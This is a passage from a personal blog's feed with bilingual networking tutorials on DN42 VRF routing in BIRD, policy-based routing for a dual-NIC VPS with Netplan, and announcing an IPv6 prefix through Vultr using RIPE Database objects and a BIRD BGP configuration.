&lt;p&gt;Apply the same method to BGP, OSPF, etc. However, I chose to use separate Router IDs for the clearnet and DN42, so a separate Router ID needs to be configured:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/bird/dn42/ospf.conf
protocol ospf v3 dn42_ospf_iyoroynet_v4 {
+   vrf &quot;dn42-vrf&quot;;
+   router id DN42_OWNIP;
    ipv4 {
+       table dn42_table_v4;
        import where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_dn42_net() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
+   vrf &quot;dn42-vrf&quot;;
+   router id DN42_OWNIP;
    ipv6 {
+       table dn42_table_v6;
        import where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
        export where is_self_dn42_net_v6() &amp;amp;&amp;amp; source != RTS_BGP;
    };

    include &quot;ospf/*&quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# /etc/bird/dn42/ebgp.conf
...
template bgp dnpeers {
+   vrf &quot;dn42-vrf&quot;;
+   router id DN42_OWNIP;
    local as DN42_OWNAS;
    path metric 1;

    ipv4 {
+       table dn42_table_v4;
        ...
    };

    ipv6 {
+       table dn42_table_v6;
        ...
    };
}

include &quot;peers/*&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After completion, reload the configuration with &lt;code&gt;birdc c&lt;/code&gt;.&lt;br /&gt;
Now, we can view the DN42 routing table separately using &lt;code&gt;ip route show vrf dn42-vrf&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKGBGP:~# ip route show vrf dn42-vrf
10.26.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.29.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
10.37.0.0/16 via inet6 fe80::ade0 dev dn42_4242423914 proto bird src 172.20.234.225 metric 32 
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also ping through the VRF using the &lt;code&gt;-I dn42-vrf&lt;/code&gt; parameter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@iYoRoyNetworkHKGBGP:~# ping 172.20.0.53 -I dn42-vrf
ping: Warning: source address might be selected on device other than: dn42-vrf
PING 172.20.0.53 (172.20.0.53) from 172.20.234.225 dn42-vrf: 56(84) bytes of data.
64 bytes from 172.20.0.53: icmp_seq=1 ttl=64 time=3.18 ms
64 bytes from 172.20.0.53: icmp_seq=2 ttl=64 time=3.57 ms
64 bytes from 172.20.0.53: icmp_seq=3 ttl=64 time=3.74 ms
64 bytes from 172.20.0.53: icmp_seq=4 ttl=64 time=2.86 ms
^C
--- 172.20.0.53 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 2.863/3.337/3.740/0.341 ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Important Notes&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;If the VRF device is reloaded, all devices originally associated with the VRF need to be reloaded as well, otherwise they won&apos;t function correctly.&lt;/li&gt;
&lt;li&gt;Currently, DN42 cannot access services inside the host configured with VRF. A future article might explain how to allow traffic within the VRF to access host services (Adding to the TODO list).&lt;/li&gt;
&lt;li&gt;I learned from a friend that by setting &lt;code&gt;net.ipv4.tcp_l3mdev_accept=1&lt;/code&gt; and &lt;code&gt;net.ipv4.udp_l3mdev_accept=1&lt;/code&gt;, it is possible to allow the listening sockets in the global space to accept connection requests from the VRF domain, thus achieving cross-vrf listening services.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Reference Articles:：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sherpherd.net/2024/02/11/RunYourMPLSNetworkWithBIRD_en.html&quot;&gt;Run your MPLS network with BIRD&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>通过PBR为双网卡VPS配置多出口路由</title><link>https://blog.iyoroy.cn/posts/181/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/181/</guid><description>为一台深港 IEPL 双网卡 VPS 配置出口，先用 Netplan 设置路由 metric，再通过独立路由表和策略路由规则指定流量走哪个网关。</description><pubDate>Sun, 14 Sep 2025 09:07:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;水文警告&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;从朋友那里弄到一台深港IEPL机器，有两个网卡&lt;code&gt;eth0&lt;/code&gt;和&lt;code&gt;eth1&lt;/code&gt;，但是默认都走&lt;code&gt;eth0&lt;/code&gt;，&lt;code&gt;eth1&lt;/code&gt;没有配置路由。&lt;br /&gt;
我打算通过metric实现粗略的分流再通过PBR实现按照规则的路由配置。&lt;/p&gt;
&lt;h1&gt;配置&lt;/h1&gt;
&lt;p&gt;机器默认由cloudinit配置了网卡：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This file is generated from information provided by the datasource.  Changes
# to it will not persist across an instance reboot.  To disable cloud-init&apos;s
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth0
        eth1:
            addresses:
            - 10.20.1.31/16
            - [数据删除]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;备份一份配置之后加上metric：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This file is generated from information provided by the datasource.  Changes
# to it will not persist across an instance reboot.  To disable cloud-init&apos;s
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth0
+           routes:
+             - to: &quot;default&quot;
+               via: &quot;10.10.0.1&quot;
+               # 设置 metric=50，作为备选出口
+               metric: 50
        eth1:
            addresses:
            - 10.20.1.31/16
            - [数据删除]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [数据删除]
            set-name: eth1
+           routes:
+             - to: &quot;default&quot;
+               via: &quot;10.20.0.1&quot;
+               # 设置 metric=25，作为优先出口
+               metric: 25
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编写PBR配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/netplan/90-pbr.yaml
network:
  version: 2
  ethernets:
    eth0:
      routes:
        - to: default
          via: 10.10.0.1
          table: 10
      routing-policy:
        - from: 10.10.0.0/16
          table: 10
        - to: 202.46.[数据删除]/32
          table: 10
    eth1:
      routes:
        - to: default
          via: 10.20.0.1
          table: 20
      routing-policy:
        - from: 10.20.0.0/16
          table: 20
        - to: 38.47.[数据删除]/32
          table: 20
        - to: 23.149.[数据删除]/32
          table: 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于需要指定出口访问的IP为其加上to类型的规则并绑定对应路由表即可。&lt;/p&gt;
&lt;p&gt;完成后运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netplan apply
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新配置&lt;/p&gt;
</content:encoded></item><item><title>Configuring Multi-Exit Routing for a Dual-NIC VPS Using PBR</title><link>https://blog.iyoroy.cn/posts/en-181/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-181/</guid><description>Configuring outbound routing on a dual-NIC IEPL VPS with Netplan route metrics, separate routing tables, and policy rules to select a gateway for specific traffic.</description><pubDate>Sun, 14 Sep 2025 09:07:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Warning: This is a low-value/watered-down post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;I got a Shenzhen-Hong Kong IEPL machine from a friend. It has two network interfaces, &lt;code&gt;eth0&lt;/code&gt; and &lt;code&gt;eth1&lt;/code&gt;, but by default, all traffic goes through &lt;code&gt;eth0&lt;/code&gt;. &lt;code&gt;eth1&lt;/code&gt; had no routing configured.
I planned to use metrics for basic traffic splitting initially, and then use PBR (Policy-Based Routing) to implement rule-based routing configuration.&lt;/p&gt;
&lt;h1&gt;Configuration&lt;/h1&gt;
&lt;p&gt;The machine&apos;s network was initially configured by cloud-init:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This file is generated from information provided by the datasource. Changes
# to it will not persist across an instance reboot. To disable cloud-init&apos;s
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth0
        eth1:
            addresses:
            - 10.20.1.31/16
            - [REDACTED]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After backing up the config, I added metrics:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This file is generated from information provided by the datasource. Changes
# to it will not persist across an instance reboot. To disable cloud-init&apos;s
# network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
    version: 2
    ethernets:
        eth0:
            addresses:
            - 10.10.1.31/16
            gateway4: 10.10.0.1
            match:
                macaddress: bc:24:11:f8:42:7a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth0
+           routes:
+             - to: &quot;default&quot;
+               via: &quot;10.10.0.1&quot;
+               # Set metric=50 as the backup exit
+               metric: 50
        eth1:
            addresses:
            - 10.20.1.31/16
            - [REDACTED]/64
            gateway4: 10.20.0.1
            gateway6: fe80::be24:11ff:fe80:66bb
            match:
                macaddress: bc:24:11:50:96:0a
            nameservers:
                addresses:
                - 223.5.5.5
                - 119.29.29.29
                search:
                - [REDACTED]
            set-name: eth1
+           routes:
+             - to: &quot;default&quot;
+               via: &quot;10.20.0.1&quot;
+               # Set metric=25 as the preferred exit
+               metric: 25
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create the PBR configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /etc/netplan/90-pbr.yaml
network:
  version: 2
  ethernets:
    eth0:
      routes:
        - to: default
          via: 10.10.0.1
          table: 10
      routing-policy:
        - from: 10.10.0.0/16
          table: 10
        - to: 202.46.[REDACTED]/32
          table: 10
    eth1:
      routes:
        - to: default
          via: 10.20.0.1
          table: 20
      routing-policy:
        - from: 10.20.0.0/16
          table: 20
        - to: 38.47.[REDACTED]/32
          table: 20
        - to: 23.149.[REDACTED]/32
          table: 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For IPs that need to be accessed via a specific exit, just add a &apos;to&apos; type rule and bind it to the corresponding routing table.&lt;/p&gt;
&lt;p&gt;After finishing, run&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netplan apply
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to update the configuration.&lt;/p&gt;
</content:encoded></item><item><title>OneManISP - Ep.2 向世界宣告我们自己的IP段</title><link>https://blog.iyoroy.cn/posts/132/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/132/</guid><description>拿到 ASN 和 IPv6 地址段后，在 RIPE Database 创建相关对象，向 Vultr 申请 BGP Session，再用 BIRD 宣告前缀并测试公网连通性。</description><pubDate>Wed, 20 Aug 2025 15:59:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;上文我们已经成功注册了一个ASN并且拿到了一段IPv6地址，这次我们就来将这段地址广播给全世界。&lt;/p&gt;
&lt;h1&gt;在RIPE Database设置子网对象&lt;/h1&gt;
&lt;p&gt;需要注意的是，公网允许广播的最小IPv6前缀是/48，也就是说你如果只有一个/48地址你无法将其拆成更小的段。所以我后来又单独租用了一段/40，打算将其拆成多个/48来广播。&lt;/p&gt;
&lt;p&gt;我获取到的IPv6为&lt;code&gt;2a14:7583:f200::/40&lt;/code&gt;，打算拆出来&lt;code&gt;2a14:7583:f203::/48&lt;/code&gt;用于给Vultr使用。如果你不需要拆段，请直接跳转到「创建路由信息」一节&lt;/p&gt;
&lt;h2&gt;拆段&lt;/h2&gt;
&lt;p&gt;首先打开&lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/inet6num&quot;&gt;Create &quot;inet6num&quot; object - RIPE Database&lt;/a&gt;，填入如下内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;inet6num&lt;/strong&gt;: 打算拆出来的IP段，CIDR格式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;netname&lt;/strong&gt;: 网络名称&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;country&lt;/strong&gt;: IP段所属国家，需要符合ISO 3166标准（RIPE DB里可以直接选择）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;admin-c&lt;/strong&gt;: 上文创建的Role对象的主键值&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;tech-c&lt;/strong&gt;: 上文创建的Role对象的主键值&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;status&lt;/strong&gt;: &lt;code&gt;ASSIGNED&lt;/code&gt;即可&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/2615334952.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此步骤将你获得的地址拆出来一个小的/48地址块。&lt;/p&gt;
&lt;h2&gt;创建路由信息&lt;/h2&gt;
&lt;p&gt;打开&lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/route6&quot;&gt;Create &quot;route6&quot; object - RIPE Database&lt;/a&gt;，填入如下内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;route6&lt;/strong&gt;: 填写你打算广播播的IPv6地址块的CIDR格式&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;origin&lt;/strong&gt;: 填写你申请到的ASN，包含AS前缀&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/96762902.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此步骤声明允许你的ASN使用这段地址段来发BGP路由。&lt;/p&gt;
&lt;h1&gt;申请VPS的BGP Session接入&lt;/h1&gt;
&lt;p&gt;此次我使用的是Vultr家的机器，他们家的BGP Session算是很新手友好的了，有一套自己的验证系统；并且上游良好的过滤器保证了一般情况下即使发送了错误的路由表也不会影响到公网。&lt;/p&gt;
&lt;p&gt;（此处我配置的时候忘记截图了，可以参考一下宝硕大佬的文章 &lt;a href=&quot;https://blog.baoshuo.ren/post/my-own-asn/&quot;&gt;年轻人的第一个 ASN&lt;/a&gt; 中的 &lt;strong&gt;申请 Vultr 的 BGP 广播功能&lt;/strong&gt; 章节）&lt;/p&gt;
&lt;p&gt;进入&lt;a href=&quot;https://my.vultr.com/bgp/&quot;&gt;BGP - Vultr.com&lt;/a&gt;，选择Get Started之后按照要求填写你的ASN信息和IPv6地址块。LOA（Letter Of Authorization，授权信）可参考以下模板：&lt;a href=&quot;/downloads/2025/08/3976042902.docx&quot;&gt;LOA-template.docx&lt;/a&gt;（因为发现网上查到的都是以公司的名义写的，因此以个人名义重新写了一份）&lt;/p&gt;
&lt;p&gt;完成后系统会自动创建一条工单，并且能看到我们的ASN和IP地址块处于待验证的状态：
&lt;img src=&quot;./images/2025/08/1687674599.png&quot; alt=&quot;vultr-1.png&quot; /&gt;&lt;br /&gt;
点击Start，系统会向注册Role时填写的abuse-mailbox邮箱发送一封验证邮件：
&lt;img src=&quot;./images/2025/08/2626306618.png&quot; alt=&quot;vultr-2.png&quot; /&gt;&lt;br /&gt;
收到的邮件如图所示：
&lt;img src=&quot;./images/2025/08/2281724213.png&quot; alt=&quot;vultr-3.png&quot; /&gt;&lt;br /&gt;
其中，上面那个链接代表同意授权Vultr广播你的IP段，下面那个则是不同意。我们点击上面那个之后会进入Vultr的网页：
&lt;img src=&quot;./images/2025/08/1045821675.png&quot; alt=&quot;vultr-4.png&quot; /&gt;
再点击Approve Announcement即可。ASN和IP段都需要验证一次。&lt;/p&gt;
&lt;p&gt;接着，等待Vultr的工作人员审核完成后来到VPS的控制台，就能看到我们的BGP选项卡了，其中可以得到上游的信息：
&lt;img src=&quot;./images/2025/08/181681122.png&quot; alt=&quot;vultr-5.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此处不得不称赞一下Vultr的工单效率，我平均从创建工单申请授权到完成只花了10分钟左右。&lt;s&gt;（反观之前在iFog GmbH，平均工作日工单回复时间1天左右实在是好太多了）&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;其他厂商的VPS大概都是这么个流程，你需要告诉工作人员你要播的ASN和IP段，在验证完所有权之后工作人员会为你配置对应的BGP Session。&lt;/p&gt;
&lt;h1&gt;广播！&lt;/h1&gt;
&lt;p&gt;你应该已经从上游那里得到了以下信息：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;上游的ASN&lt;/li&gt;
&lt;li&gt;上游用于BGP Session的地址&lt;/li&gt;
&lt;li&gt;（可选）密码&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我用的操作系统是Debian12 Bookworm，使用Bird2作为路由软件，并且按照&lt;a href=&quot;https://www.iyoroy.cn/archives/103/&quot;&gt;这篇文章&lt;/a&gt;中「更新Bird2至v2.16及以上」章节更新Bird2至最新版。Vultr那边给我的上游ASN是&lt;code&gt;64515&lt;/code&gt;，上游用于BGP Session的地址是&lt;code&gt;2001:19f0:ffff::1&lt;/code&gt;，VPS用于BGP Session的地址是&lt;code&gt;2001:19f0:0006:0ff5:5400:05ff:fe96:881f&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;我的Bird2配置文件修改自DN42中的配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;log syslog all;
define OWNAS       = 205369;                   # 自己的ASN
define OWNIPv6     = 2a14:7583:f203::1;        # 给机器绑定的单个IPv6地址
define OWNNETv6    = 2a14:7583:f203::/48;      # 打算播的网段
define OWNNETSETv6 = [ 2a14:7583:f203::/48+ ]; # 打算播的网段集合

router id 45.77.x.x;                           # 路由器ID，这里使用VPS的公网IPv4

protocol device {
    scan time 10;
}

function is_self_net_v6() {
    return net ~ OWNNETSETv6;
}

protocol kernel {
    scan time 20;

    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
            krt_prefsrc = OWNIPv6;
            accept;
        };
    };
};

protocol static {
    route OWNNETv6 reject;

    ipv6 {
        import all;
        export none;
    };
}

template bgp upstream {
    local as OWNAS;
    path metric 1;
    multihop; # 指定多跳

    ipv6 {
        import filter {
            if net ~ [::/0] then reject; # 拒绝导入默认路由
            accept;
        };
        export filter {
            if is_self_net_v6() then accept; # 仅导出自己网段内的路由，防止劫持
            reject;
        };
        import limit 1000 action block;
    };

    graceful restart; 
}

protocol bgp &apos;Vultr_v6&apos; from upstream{
    local 2001:19f0:0006:0ff5:5400:05ff:fe96:881f as OWNAS; # local后面的地址即上游给的用于BGP Session的VPS上的地址
    password &quot;123456&quot;; # 上游给你的BGP密码，若没密码就将这一行删除
    neighbor 2001:19f0:ffff::1 as 64515; # 上游的BGP Session IP和ASN
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几个值得注意的点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;此处upstream模板的导入规则拒绝了 &lt;strong&gt;默认路由&lt;/strong&gt; ，这样写可以防止上游发来的路由表覆盖掉本地的默认网关等路由信息。如果我们有多个BGP邻居，则可能导致绕路甚至路由环路。&lt;/li&gt;
&lt;li&gt;upstream中指定了多跳（&lt;code&gt;multihop;&lt;/code&gt;），这是因为Vultr的BGP对端不能直达，若不设置多跳则会导致BGP会话卡在Idle状态。如果你的BGP上游是直连，可以不设置此行或者改为&lt;code&gt;direct;&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;填写完配置文件，运行&lt;code&gt;birdc configure&lt;/code&gt;载入配置。
运行&lt;code&gt;birdc show protocols&lt;/code&gt;查看状态，如果不出意外的话应该能看到BGP会话已经Established：
&lt;img src=&quot;./images/2025/08/1416804382.png&quot; alt=&quot;server-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个时候，你可以起身做点别的事情，等待全球路由收敛。大概半个小时之后，打开&lt;a href=&quot;https://bgp.tools&quot;&gt;bgp.tools&lt;/a&gt;，查询自己的/48段，应该就能看到已经成功被全球互联网收敛，并且能看到我们的上游信息：
&lt;img src=&quot;./images/2025/08/3148526519.png&quot; alt=&quot;bgptools-1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着，我们在VPS上创建一个dummy网卡，并绑定我们为这个机器设置的段内的单个IPv6地址，如我给我这台机器分配了&lt;code&gt;2a14:7583:f203::1&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip link add dummy0 type dummy
ip addr add 2a14:7583:f203::1/128 dev dummy0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着使用我们自己的PC ping这个地址就能通了，traceroute也能看到完整路由路径：
&lt;img src=&quot;./images/2025/08/4027305349.png&quot; alt=&quot;local-1.png&quot; /&gt;
&lt;img src=&quot;./images/2025/08/3205852294.png&quot; alt=&quot;local-2.png&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;感谢米露大佬提供的技术支持！
参考文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.lyc8503.net/post/asn-2-bgp-session/&quot;&gt;自己在家开运营商 Part.2 - 向世界宣告 IP 段 (BGP Session &amp;amp; BIRD)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.baoshuo.ren/post/my-own-asn/&quot;&gt;年轻人的第一个 ASN - 宝硕博客&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.acesheep.com/p/bgplayer-beginner-guide-activate-vultr-bgp-function/&quot;&gt;BGPlayer 从零开始速成指北 - 开通 Vultr 的 BGP 广播功能 - AceSheep&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.yuzu.im/marchives/133&quot;&gt;BGP (2) 在 Vultr 和 HE 使用自己的 IPV6 地址 - 131&apos;s Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>OneManISP - Ep.2 Announcing Our Own IP Prefix to the World</title><link>https://blog.iyoroy.cn/posts/en-132/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-132/</guid><description>Announcing an IPv6 prefix through Vultr with my own ASN, from creating RIPE Database objects and requesting a BGP session to configuring BIRD and testing connectivity.</description><pubDate>Wed, 20 Aug 2025 15:59:00 GMT</pubDate><content:encoded>&lt;h1&gt;Preface&lt;/h1&gt;
&lt;p&gt;In the previous article, we successfully registered an ASN and obtained an IPv6 address block. Now, we will announce this block to the world.&lt;/p&gt;
&lt;h1&gt;Setting Up the Subnet Object in the RIPE Database&lt;/h1&gt;
&lt;p&gt;It&apos;s important to note that the minimum IPv6 prefix allowed for announcement on the public internet is &lt;code&gt;/48&lt;/code&gt;. This means if you only have a single &lt;code&gt;/48&lt;/code&gt; block, you cannot break it down into smaller segments. Therefore, I later leased a separate &lt;code&gt;/40&lt;/code&gt; block, intending to split it into multiple &lt;code&gt;/48&lt;/code&gt;s for announcement.&lt;/p&gt;
&lt;p&gt;The IPv6 block I obtained is &lt;code&gt;2a14:7583:f200::/40&lt;/code&gt;, and I plan to split out &lt;code&gt;2a14:7583:f203::/48&lt;/code&gt; for use with Vultr. If you don&apos;t need to split your block, please skip directly to the &quot;Creating the Route Object&quot; section.&lt;/p&gt;
&lt;h2&gt;Splitting the Prefix&lt;/h2&gt;
&lt;p&gt;First, go to &lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/inet6num&quot;&gt;Create &quot;inet6num&quot; object - RIPE Database&lt;/a&gt; and fill in the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;inet6num&lt;/strong&gt;: The IP block you want to split out, in CIDR format.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;netname&lt;/strong&gt;: Network name.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;country&lt;/strong&gt;: The country to which the IP block belongs, must conform to the ISO 3166 standard (can be selected directly in the RIPE DB).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;admin-c&lt;/strong&gt;: The primary key value of the Role object created earlier.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;tech-c&lt;/strong&gt;: The primary key value of the Role object created earlier.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;status&lt;/strong&gt;: Keep &lt;code&gt;ASSIGNED&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/2615334952.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This step splits a smaller &lt;code&gt;/48&lt;/code&gt; address block from your obtained allocation.&lt;/p&gt;
&lt;h2&gt;Creating the Route Object&lt;/h2&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://apps.db.ripe.net/db-web-ui/webupdates/create/RIPE/route6&quot;&gt;Create &quot;route6&quot; object - RIPE Database&lt;/a&gt; and fill in the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;route6&lt;/strong&gt;: The IPv6 address block you intend to announce, in CIDR format.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;origin&lt;/strong&gt;: The ASN you applied for, including the &apos;AS&apos; prefix.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/08/96762902.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This step declares that your ASN is permitted to use this address block for originating BGP routes.&lt;/p&gt;
&lt;h1&gt;Applying for BGP Session with a VPS Provider&lt;/h1&gt;
&lt;p&gt;This time I&apos;m using a machine from Vultr. Their BGP Session setup is very beginner-friendly, with their own validation system. Furthermore, their upstream has good filters ensuring that incorrect route advertisements generally won&apos;t affect the public internet.&lt;/p&gt;
&lt;p&gt;(I forgot to take screenshots during my configuration, but you can refer to the section &lt;strong&gt;申请 Vultr 的 BGP 广播功能&lt;/strong&gt; in Bao Shuo&apos;s article &lt;a href=&quot;https://blog.baoshuo.ren/post/my-own-asn/&quot;&gt;年轻人的第一个 ASN&lt;/a&gt; for reference.)&lt;/p&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://my.vultr.com/bgp/&quot;&gt;BGP - Vultr.com&lt;/a&gt;, select Get Started, and fill in your ASN and IPv6 block information as required. For the LOA (Letter Of Authorization), you can refer to this template: &lt;a href=&quot;/downloads/2025/08/3976042902.docx&quot;&gt;LOA-template.docx&lt;/a&gt; (I rewrote one for individuals as most templates found online are for companies).&lt;/p&gt;
&lt;p&gt;After submission, the system will automatically create a ticket, and you will see your ASN and IP block in a pending verification state:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/1687674599.png&quot; alt=&quot;vultr-1.png&quot; /&gt;
Click Start, and the system will send a verification email to the abuse-mailbox email address registered with your Role object:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/2626306618.png&quot; alt=&quot;vultr-2.png&quot; /&gt;&lt;br /&gt;
The received email looks like this:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/2281724213.png&quot; alt=&quot;vultr-3.png&quot; /&gt;&lt;br /&gt;
The top link represents approving the authorization for Vultr to announce your IP block, and the bottom one is for disapproval. Click the top link, which will take you to Vultr&apos;s webpage:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/1045821675.png&quot; alt=&quot;vultr-4.png&quot; /&gt;&lt;br /&gt;
Then click Approve Announcement. Both the ASN and the IP block need to be verified once.&lt;/p&gt;
&lt;p&gt;Next, wait for the Vultr staff to review and complete the process. Then, in your VPS control panel, you will see the BGP tab, where you can find the upstream information:&lt;br /&gt;
&lt;img src=&quot;./images/2025/08/181681122.png&quot; alt=&quot;vultr-5.png&quot; /&gt;&lt;/p&gt;
